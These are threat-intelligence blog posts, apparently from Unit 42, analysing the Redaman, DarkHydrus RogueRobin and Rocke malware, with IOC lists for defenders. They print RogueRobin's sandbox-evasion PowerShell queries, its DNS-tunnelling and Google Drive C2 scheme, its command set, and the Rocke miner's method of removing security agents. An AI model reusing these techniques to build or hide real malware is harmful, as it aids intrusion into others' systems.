Figure 9: Redaman infection traffic filtered in Wireshark.

Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10.

Figure 10: Data returned from namecha[.]in used for subsequent infection traffic.

 

During the infection, callback traffic was periodically sent to a command and control (C2) sever at 185.141.61[.]246. Shortly after the infection, return traffic from the C2 server sent a Pony variant DLL to the infected Windows client.

Figure 11: Using Wireshark to find 58 kB of encoded data returned from the C2 server at 185.141.61[.]246.

 

Data for the Pony variant DLL was XOR encoded with multiple XOR keys and RTLcompressed. The SHA256 of this Pony variant DLL is b4701d95219d465e978c4a815fcce89787916da33ae2a49d0e76d4445fd39ada, and it generated traffic to 193.37.213[.]28/p/g_3453456jawd346.php during the infection.

Conclusion

Since it was first noted in 2015, this family of banking malware continues targeting recipients who conduct transactions with Russian financial institutions. We found over 100 examples of malspam during the last four months of 2018, and this blog provides a closer look at Redaman during that timeframe. We covered the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

We expect to discover new Redaman samples as 2019 progresses.

Palo Alto Networks customers are protected from this threat. Traps identifies these files through Local Analysis and Wildfire has classified them as malicious. Our threat prevention platform detects this malware, and see the below appendices below for details on Redaman malware we discovered from September through December of 2018.

Appendix A

SHA256 file hashes for 119 malspam attachments, 30 extracted Redaman executable files, and 30 dropped Redaman DLL files found from September through December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-thru-2018-12-file-hashes-for-Redaman-banking-malware.txt

Appendix B

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in September 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-file-hashes-for-Redaman-banking-malware.txt

Appendix C

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in October 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-10-file-hashes-for-Redaman-banking-malware.txt

Appendix D

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in November 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-11-file-hashes-for-Redaman-banking-malware.txt

Appendix E

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-12-file-hashes-for-Redaman-banking-malware.txt

DarkHydrus delivers new Trojan that can use Google Drive for C2 communications

In the summer of 2018, Unit 42 released reporting regarding activity in the Middle East surrounding a cluster of activity using similar tactics, tools, and procedures (TTPs) in which we named the adversary group DarkHydrus. This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques.

Since that initial reporting, we had not observed new activity from DarkHydrus until recently, when 360TIC published a tweet and subsequent research discussing delivery documents that appeared to be attributed to DarkHydrus. In the process of analyzing the delivery documents, we were able to collect additional associated samples, uncover additional functionality of the payloads including the use of Google Drive API, and confirm the strong likelihood of attribution to DarkHydrus. We have notified Google of our findings.

Delivery Document

We collected a total of three DarkHydrus delivery documents installing a new variant of the RogueRobin trojan. These three documents were extremely similar to each other and are all macro enabled Excel documents with .xlsm file extensions. None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro, as seen in Figure 1. While we cannot confirm the delivery mechanism, it is likely that the instructions to click the Enable Content button were provided during delivery, such as in the body of a spear-phishing email.

    Figure 1 DarkHydrus' delivery document does not have a lure image or message

Without the delivery mechanism we cannot confirm the exact time these delivery documents were used in an attack; however, the observed timestamps within these three delivery documents gives us an idea when the DarkHydrus actors created them. While the creation times were timestomped to a default time of 2006-09-16 00:00:00Z commonly observed in malicious documents, the Last Modified times were still available and suggest that DarkHydrus created these documents in December 2018 and January 2019. Table 1 shows the breakdown of timestamps and their associated sample hashes.

SHA256 Last Modified
e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

 

2018-12-15T05:14:32Z

 

 

4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8     2018-12-23T05:45:43Z
513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

 

2019-01-08T06:51:21Z

 

 

Table 1 Timestamps of delivery documents

The macro executes immediately after pressing the Enable Content button thanks to the  Workbook_Open sub-function, which will call the actor created New_Macro function. The New_Macro function starts by concatenating several strings to create a PowerShell script that it will write to the file %TEMP%\WINDOWSTEMP.ps1. The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt. While .sct files are used by a multitude of applications, in this instance it is being used as a Windows Script Component file. The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:

The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C#.

RogueRobin .NET Payload

In our original blog on DarkHydrus, we analyzed a PowerShell-based payload we named RogueRobin. While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload. The similarities between the PowerShell and C# variants of RogueRobin suggests that the DarkHydrus group ported their code to a compiled variant.

The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger.

PowerShell command Description
‘gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VBOX%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%bochs%'" Query attempts to detect Bochs environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%qemu%'" Query attempts to detect QEMU environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VirtualBox%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VM%'" Query attempts to detect VMWare environment from the win32_BIOS WMI class
gwmi -query "Select * from win32_BIOS where Manufacturer LIKE '%XEN%'" Query attempts to detect Xen environment from the win32_BIOS WMI class
gwmi win32_computersystem Uses this query to check the system information for the string “VMware”.
gwmi -query "Select TotalPhysicalMemory from Win32_ComputerSystem" Uses this query to check to see if the total physical memory is less than 2,900,000,000 bytes.
gwmi -Class win32_Processor | select NumberOfCores Uses this query to check to see if the total number of CPU cores is less than 1.
Get-Process | select Company Checks to see if any running processes have "Wireshark" or "Sysinternals" as the company name.

Table 2 Sandbox evasion checks in the C# variant of RogueRobin

Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types. Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co. The domain is legitimate and owned by Google. The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck. This DNS query likely exists as a note to researchers or possibly as an anti-analysis measure, as it will only trigger if the researcher has already patched the initial debugger check to move onto the C2 function. Figure 2 shows the code responsible for detecting the attached debugger and issuing the corresponding DNS request.

Figure 2 Code that issues DNS query to gogle.co if a debugger is detected

All DNS requests issued by RogueRobin use the built in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response. Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:

Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from.

Regular Expressions
([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})
Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})
([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(\\d+.\\d+.\\d+.\\d+)

Table 3 Regular expressions used by RogueRobin

The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers. Figure 3 shows the RogueRobin payload issuing DNS requests to resolve custom crafted subdomains of its C2 domains using TXT, SOA, MX, CNAME, SRV, A and AAAA query types.

Figure 3 RogueRobin testing various DNS query types

The domains in the test queries, such as aqhpc.akdns[.]live have subdomains that are generated by substituting the digits in the Trojan’s process ID with characters seen in Table 4 (for example qhp for the PID 908) and surrounding these characters with the static characters a and c. The C2 server can respond to any of the query types to provide a unique identifier value that the Trojan will store in a variable and use in future DNS requests.

 

Character Digit
h 0
i 1
j 2
k 3
l 4
m 5
n 6
o 7
p 8
q 9

Table 4 Character substitution used in RogueRobin

The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands. To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c

The generated subdomain is then subjected to a number-to-character substitution function that is the inverse of the Table 4, which effectively converts all the digits in the subdomain into characters. The Trojan checks the response to this query using the regular expressions in Table 3. If it received a non-cancelling response, the Trojan will extract data from the DNS responses and treat it as commands. Table 5 shows the commands that the C# variant of RogueRobin can handle, which is extremely similar to the previously analyzed PowerShell variant.

Regex  Description
^kill Kills a thread running in Trojan based on a provided thread name
^\$fileDownload Uploads a file to the C2 server via the DNS tunnel
^\$importModule Runs a provided PowerShell command and adds it to a list called 'modules'
^\$x_mode Turns on the alternative mode of 'x_mode' on to use the alternative C2 channel. If preceded by "OFF", it turns 'x_mode' off, otherwise the command is newline delimited with settings to use this alternative C2 functionality.
^\$ClearModules Clears the previously run 'modules' list
^\$fileUpload This command should be followed by a string that will be used as a path to save a new file to the system. This command will then reach out to the C2 server to obtain the data to save to this file path.
^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2
^showconfig Creates a pipe delimited ("|") string that contains the sample's settings, including the list of C2 domains and available DNS query types.
^changeConfig Allows the C2 to set values within the Trojan's configuration via pipe delimited ("|") string. The string is formatted as "<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>"
^slp Sets the sleep and jitter values
^exit Exits the Trojan

Table 5 Commands available within the C# variant of RogueRobin

Using Google Drive for C2

A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests.

In x_mode, RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications. The Trojan will treat all subsequent changes to the file made by the actor as jobs and will treat them as commands, which it will handle with the same command handler seen in Table 5.

To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account. Figure 4 shows the code in RogueRobin that handles the x_mode command, specifically splitting the command data on newlines and using the resulting array to set variables used as x_mode settings.

Figure 4 x_mode command and new line delimited settings

As seen in Figure 4, the settings are stored in variables seen in Table 6, which are used to authenticate to the actor-controlled Google account before uploading and downloading files from Google Drive.

Variable Name Description
gdu Google Drive URL for downloading files to the Google Drive account
gduu Google Drive URL for uploading files to the Google Drive account
gdue Google Drive URL for updating a file on the Google Drive account
gdo2t Google Drive URL used to get the OAUTH access_token
client_id The client_id for the OAUTH application
cs The client_secret for OAUTH
r_t The refresh_token for OAUTH

Table 6 Variables used to store settings needed to use Google Drive as a C2

To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data. As seen in Figure 5, the values for these fields are set to variables initially set upon issuing of the x_mode command.

Figure 5 HTTP POST request to obtain an OAUTH access token

Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response:

\"access_token\":(.*)

Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account. To upload a file, the Trojan first creates an HTTP POST request to the URL stored in gduu to send the following JSON data to the Google Drive account:

{ "name" : “<process ID of Trojan>.txt” }

Google Drive will respond to this request with an HTTP response whose header contains a Location field. This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4. The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value:

\"id\":(.*)

The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file. The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier> + "?supportTeamDrives=true&fields=modifiedTime"

The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time:

\"modifiedTime\":(.*)

The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded. The Trojan will write <process ID of Trojan> to a second file stored on the Google Drive instance named <process ID of Trojan>-U.txt. In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows:

<Google Drive URL in ‘gdue’> + <second file identifier> + "?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents"

In one RogueRobin sample (SHA256: f1b2bc0831...), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6. This is the only instance we observed where a hardcoded Google Drive URL was included in RogueRobin, which may suggest that the author may have overlooked this during testing.

Figure 6 Hardcoded Google Drive URL used in RogueRobin sample

When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive. The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <first file identifier> + "?alt=media"

With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file. The Trojan processes the downloaded data the same way it would for a unique identifier as if the data was obtained via the DNS tunneling protocol using the TXT query mode, specifically by searching the data using the following regular expression:

\"(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>).\"

With the unique identifier value obtained from the file on Google Drive, the Trojan will attempt to obtain jobs using the Google Drive communications channel. To get a job from the Google Drive account, the Trojan starts by creating a string that has the following structure with each element within the subdomain subjected to the number to character substitution from Table 4:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c.<C2 domain>

The Trojan will then obtain an OAUTH access token to the Google Drive in the same manner as before when obtaining the unique identifier. The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt. After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file. When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier in 'f_id'> + "?alt=media"

The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression:

([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)

The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected. It will use the data after the separator as the string that it will subject to the command handler seen in Table 5.

Infrastructure

The initial list of C2 domains released by 360TIC associated with 513813af15... appeared thematically very similar to previous DarkHydrus activity, using domain names visually similar to well-known technology vendors or service providers. This list was further expanded upon by ClearSky Security (here, here and here) in a series of tweets that provided additional similar domain names also likely linked to DarkHydrus. To better understand how these domains are related to DarkHydrus, we began visually mapping the relationships between the list of domains, which can be seen in Figure 7. The diagram shows the DarkHydrus group using a consistent naming schema and structure in their infrastructure. They register a multitude of domains and set up nameservers to use as their primary DNS for their C2 domains.

Figure 7 Relational diagram of DarkHydrus infrastructure

For this campaign, we are able to cluster the adversary infrastructure via the specific nameservers that were deployed for C2s. The brackets in Figure 7 shows the distinct clustering of infrastructure into three groups. We were able to retrieve live payloads associated with two of the clusters. A third cluster was also shared by ClearSky Security, but we were unable to associate a live payload to them. Although the third cluster does not appear to have any direct relationships to the other two clusters, it is still highly probable that this cluster is related to the two other clusters via the structuring of domains with custom nameservers. In addition, the domain names themselves were extremely similar, with some examples being exactly the same but on a different top level domain.

The two sets of nameservers we were able to associate with the retrieved payloads were tbs1/tbs2.microsoftonline.services and tvs1/tvs2.trafficmanager.live. The distribution of C2 domains and their nameservers can be seen in Table 7.

Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c

DNS tbs1/tbs2.microsoftonline.services
Domains 0ffice365[.]agency
0ffice365[.]life
0ffice365[.]services
0nedrive[.]agency
corewindows[.]agency
microsoftonline[.]agency
onedrive[.]agency
sharepoint[.]agency
skydrive[.]agency
skydrive[.]services
Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97
DNS tvs1/tvs2.trafficmanager.live
Domains akamaiedge[.]live
  akamaized[.]live
  akdns[.]live
  edgekey[.]live

Table 7: Sample and Domain Associations

The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other. Each of the domains appeared to have rotated through the six nameservers but oddly, one of the nameservers that several of the domains had rotated through did not appear to be currently registered. Examining historical IP resolutions revealed a common IP between the active nameservers, 107.175.75[.]123. This IP is of particular interest as historical domain resolutions of this IP revealed that it had resolved to the domain hotmai1l[.]com in the past as well, which was a domain we had previously identified as having a high likelihood of association with DarkHydrus infrastructure. This IP also belongs to the same service provider and class B network range as another IP we had associated with DarkHydrus, 107.175.150[.]113 which specifically resolved to a domain name containing a victim organization’s name.

Conclusion

The DarkHydrus group continues their operations and adds new techniques to their playbook. Recent DarkHydrus delivery documents revealed the group abusing open-source penetration testing techniques such as the AppLocker bypass. The payloads installed by these delivery documents show that the DarkHydrus actors ported their previous PowerShell-based RogueRobin code to an executable variant, which is behavior that has been commonly observed with other adversary groups operating in the Middle East, such as OilRig. Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure.

Palo Alto Networks customers are already be protected via:

  • All samples in this report have a malicious verdict in WildFire
  • Domains have been classified as malicious
  • AutoFocus tags are available for additional context: DarkHydrus and RogueRobin

Indicators of Compromise

Delivery Document SHA256

513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8

RogueRobin SHA256

eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97

f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c

RogueRobin C2s

akdns[.]live

akamaiedge[.]live

edgekey[.]live

akamaized[.]live

0ffice365[.]agency

0nedrive[.]agency

corewindows[.]agency

microsoftonline[.]agency

onedrive[.]agency

sharepoint[.]agency

skydrive[.]agency

0ffice365[.]life

0ffice365[.]services

skydrive[.]services

skydrive[.]agency

Nameservers

tvs1.trafficmanager[.]live

tvs2.trafficmanager[.]live

tbs1.microsoftonline[.]services

tbs2.microsoftonline[.]services

brit.ns.cloudfronts[.]services

dns.cloudfronts[.]services

ns2.akadns[.]services

britns.akadns[.]services

britns.akadns[.]live

ns2.akadns[.]live

Related Domains

iecvlist-microsoft[.]live

data-microsoft[.]services

asimov-win-microsoft[.]services

onecs-live[.]services

akamaiedge[.]services

phicdn[.]world

azureedge[.]today

nsatc[.]agency

Akamai[.]agency

t-msedge[.]world

Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products

Palo Alto Networks Unit 42 recently captured and investigated new samples of the Linux coin mining malware used by the Rocke group. The family was suspected to be developed by the Iron cybercrime group and it’s also associated with the Xbash malware we reported on in September of 2018. The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post. The samples described in this report were collected in October of 2018, and since that time the command and control servers they use have been shut down.

During our analysis, we realized that these samples used by the Rocke group adopted new code to uninstall five different cloud security protection and monitoring products from compromised Linux servers. In our analysis, these attacks did not compromise these security products: rather, the attacks first gained full administrative control over the hosts and then abused that full administrative control to uninstall these products in the same way a legitimate administrator would.

These products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. To the best of our knowledge, this is the first malware family that developed the unique capability to target and remove cloud security products. This also highlights a new challenge for products in the Cloud Workload Protection Platforms market defined by Gartner.

Technical Details

The Coin Miner used by Rocke Group

The threat actor Rocke was first reported by Cisco Talos in late July 2018. The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines.

To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell.

Figure 1. Exploit CVE-2017-10271

Once the C2 connection is established, malware used by the Rocke group downloads shell script named as “a7” to the victim machine. The behaviors of a7 include:

  • Achieve persistence through cronjobs
  • Kill other crypto mining processes
  • Add iptables rules to block other crypto mining malware
  • Uninstall agent-based cloud security products
  • Download and run UPX packed coin miner from blog[.]sydwzl[.]cn
  • Hide process from Linux ps command by using the open source tool “libprocesshider” with LD_PRELOAD trick
  • Adjust malicious file date time

Cloud Workload Protection Platforms

According to Gartner, Cloud Workload Protection Platforms (CWPPs) are the agent-based workload-centric security protection solutions. To mitigate the impact of malware intrusion in public cloud infrastructure, cloud service providers develop their own CWPPs as the server security operation and management products.

For example, Tencent Cloud offers Tencent Host Security (HS, aka YunJing云镜) with various security protection services. According to its “Product Overview” document, Tencent Host Security provides key security features like trojan detection and removal based on machine learning, password cracking alert, logging activity audit, vulnerability management, and asset management as shown in Figure 2.

Figure 2. Tencent Host Security Key Features

Alibaba Cloud (Aliyun) also offers a cloud security product called Threat Detection Service (TDS, aka Aegis 安骑士). Alibaba Cloud Threat Detection Service provides security services like malware scanning and removal, vulnerability management, log analysis, and threat analysis based on big data.

Third-party cybersecurity companies also provide CWPPs. For instance, Trend Micro, Symantec, and Microsoft have their own cloud security products for public cloud infrastructure. As with all security products, adversaries inevitably work to evade these systems to be able to achieve their ultimate goals. 

Evading Detection from Cloud Workload Protection Platforms

In response to agent-based Cloud Workload Protection Platforms from cloud service providers, malware used by the Rocke group gradually developed the capability to evade detection before exhibiting any malicious behaviors. To be more specific, the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud.

In the early version of the malware used by Rocke, it only attempts to kill Tencent Cloud Monitor process as shown in Figure 3.

Figure 3. Malware kills Tencent Cloud Monitor process

Realizing that killing the cloud monitor service alone is not enough to evade detection by agent-based cloud security products, the malware authors continued developing more effective methods to evade detection by killing more agent-based cloud security services.

The Tencent Cloud and Alibaba Cloud official websites provide documents to guide users about how to uninstall their cloud security products. The document for uninstalling Alibaba Threat Detection Service is shown in Figure 4.

Figure 4. Official guide for uninstalling Alibaba Threat Detection Service

The document for uninstalling Tencent Cloud Host Security is shown in Figure 5.

Figure 5. Official guide for uninstalling Tencent Cloud Host Security Product

The malware used by the Rocke group follows the uninstallation procedure provided by Alibaba Cloud and Tencent Cloud as well as some random blog posts on the Internet. The key uninstall function is shown in Figure 6.

Figure 6. Key function for malware to evade detection

This function can uninstall:

  1. Alibaba Threat Detection Service agent.
  2. Alibaba CloudMonitor agent (Monitor CPU & memory consumption, network connectivity).
  3. Alibaba Cloud Assistant agent (tool for automatically managing instances).
  4. Tencent Host Security agent.
  5. Tencent Cloud Monitor agent.

After agent-based cloud security and monitor products are uninstalled, the malware used by the Rocke group begins to exhibit malicious behaviors. We believe this unique evasion behavior will be the new trend for malware which targets public cloud infrastructure.

Mitigations

Palo Alto Networks Unit 42 has been cooperating with Tencent Cloud and Alibaba Cloud to address the malware evasion problem and its C2 infrastructure. Additionally, the malicious C2 domains are identified by our PAN-DB URL Filtering.

Conclusion

Public cloud infrastructure is one of the main targets for this cybercrime group. Realizing the existing cloud monitor and security products may detect the possible malware intrusion, malware authors continue to create new evasion technologies to avoid being detected by cloud security product.

The variant of the malware used by the Rocke group is an example that demonstrates that the agent-based cloud security solution may not be enough to prevent evasive malware targeted at public cloud infrastructure.

 

Indicators of Compromise

Samples with the evasion behavior

2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4

2f603054dda69c2ac1e49c916ea4a4b1ae6961ec3c01d65f16929d445a564355

28ea5d2e44538cd7fec11a28cce7c86fe208b2e8f53d57bf8a18957adb90c5ab

232c771f38da79d5b8f7c6c57ddb4f7a8d6d44f8bca41be4407ed4923096c700

893bdc6b7d2d7134b1ceb5445dbb97ad9c731a427490d59f6858a835525d8417

9300f1aa56a73887d05672bfb9862bd786230142c949732c208e5e019d14f83a

27611b92d31289d023d962d3eb7c6abd194dbdbbe4e6977c42d94883553841e8

d341e3a9133e534ca35d5ccc54b8a79f93ff0c917790e7d5f73fedaa480a6b93

ed038e9ea922af9f0bf5e8be42b394650fa808982d5d555e6c50c715ff2cca0c

4b74c4d66387c70658238ac5ab392e2fe5557f98fe09eadda9259ada0d87c0f1

e391963f496ba056e9a9f750cbd28ca7a08ac4cfc434bee4fc57a292b11941e6

017dee32e287f37a82cf6e249f8a85b5c9d4f090e5452118ccacaf147e88dc66

 

Domains for C2 Communication

dwn[.]rundll32[.]ml

www[.]aybc[.]so

a[.]ssvs[.]space

sydwzl[.]cn

 

IPs for C2 Communication

118.24.150[.]172 (on Tencent Cloud)

120.55.54[.]65 (on Alibaba Cloud)

 

URLs for Code Update

hxxps://pastebin[.]com/raw/CnPtQ2tM

hxxps://pastebin[.]com/raw/rjPGgXQE

hxxps://pastebin[.]com/raw/1NtRkBc3

hxxps://pastebin[.]com/raw/tRxfvbYN

hxxps://pastebin[.]com/raw/SSCy7mY7

hxxps://pastebin[.]com/raw/VVt27LeH

hxxps://pastebin[.]com/raw/Fj2YdETv

hxxps://pastebin[.]com/raw/JNPewK6r

hxxps://pastebin[.]com/raw/TzBeq3AM

hxxps://pastebin[.]com/raw/eRkrSQfE

hxxps://pastebin[.]com/raw/5bjpjvLP

hxxps://pastebin[.]com/raw/Gw7mywhC

XMR Wallet Address

42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7